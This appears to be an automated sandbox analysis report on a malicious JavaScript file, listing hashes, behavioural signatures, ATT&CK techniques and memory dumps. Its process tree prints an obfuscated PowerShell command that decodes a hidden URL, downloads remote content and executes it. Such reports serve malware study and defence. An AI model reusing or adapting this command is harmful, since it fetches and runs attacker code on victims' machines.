c58c00c228cca6f542d90ae389bab8f0455917fd5e4bc396991d40d22cbb8448

Analysis

max time kernel
143s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
22-08-2024 01:41

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General

Target

_rnnsnn.js
Size

118KB
MD5

5068d584bdd33473911ffac1e3d66a38
SHA1

f66ff36a55ca2d51fe5ca1d88404542833873803
SHA256

c58c00c228cca6f542d90ae389bab8f0455917fd5e4bc396991d40d22cbb8448
SHA512

6311473e7c39be2092aa8f0edec141d17613f95493e8e35df209b71b364e024589a77d9a74e2afae5cb10b16639112121257806855d214686196d92725fa862e
SSDEEP

3072:L1VTo57Y8J7tcwIgwFyBuLn7zMv1z6WEbTScZhCft/:L3o5Kzg077zQm5fRP0d

Score

10^/10

execution

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1328	3728	conhost.exe	84

Blocklisted process makes network request 2 IoCs

flow	pid	Process
7	892	powershell.exe
13	892	powershell.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
892	powershell.exe
892	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	892	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 1328 wrote to memory of 892	1328	conhost.exe	86
PID 1328 wrote to memory of 892	1328	conhost.exe	86

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\_rnnsnn.js
1⤵
PID:3240

C:\Windows\system32\conhost.exe
conhost --headless powershell $nemmbxede='ur';new-alias press c$($nemmbxede)l;$gmmurlxkvz=(6091,6079,6076,6094,6084,6097,6084,6101,6084,6080,6025,6095,6090,6091,6026,6028,6025,6091,6083,6091,6042,6094,6040,6088,6084,6089,6095,6094,6028,6030);$mrujgi=('bronx','get-cmdlet');$izttnhcn=$gmmurlxkvz;foreach($fssifukxy in $izttnhcn){$lrdpln=$fssifukxy;$iwsbbhtrf=$iwsbbhtrf+[char]($lrdpln-5979);$hgndvrz=$iwsbbhtrf;$xrovqwj=$hgndvrz};$gyqmidwxo[2]=$xrovqwj;$uuwoxs='rl';$brrikgly=1;.$([char](9992-9887)+'e'+'x')(press -useb $xrovqwj)
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1328
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell $nemmbxede='ur';new-alias press c$($nemmbxede)l;$gmmurlxkvz=(6091,6079,6076,6094,6084,6097,6084,6101,6084,6080,6025,6095,6090,6091,6026,6028,6025,6091,6083,6091,6042,6094,6040,6088,6084,6089,6095,6094,6028,6030);$mrujgi=('bronx','get-cmdlet');$izttnhcn=$gmmurlxkvz;foreach($fssifukxy in $izttnhcn){$lrdpln=$fssifukxy;$iwsbbhtrf=$iwsbbhtrf+[char]($lrdpln-5979);$hgndvrz=$iwsbbhtrf;$xrovqwj=$hgndvrz};$gyqmidwxo[2]=$xrovqwj;$uuwoxs='rl';$brrikgly=1;.$([char](9992-9887)+'e'+'x')(press -useb $xrovqwj)
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:892

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_w3mtfnwh.qqs.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/892-0-0x00007FFA38E23000-0x00007FFA38E25000-memory.dmp

Filesize
8KB

Download
memory/892-1-0x000001D7E08D0000-0x000001D7E08F2000-memory.dmp

Filesize
136KB

Download
memory/892-11-0x00007FFA38E20000-0x00007FFA398E1000-memory.dmp

Filesize
10.8MB

Download
memory/892-12-0x00007FFA38E20000-0x00007FFA398E1000-memory.dmp

Filesize
10.8MB

Download
memory/892-13-0x00007FFA38E20000-0x00007FFA398E1000-memory.dmp

Filesize
10.8MB

Download
memory/892-14-0x00007FFA38E20000-0x00007FFA398E1000-memory.dmp

Filesize
10.8MB

Download
memory/892-17-0x00007FFA38E20000-0x00007FFA398E1000-memory.dmp

Filesize
10.8MB

Download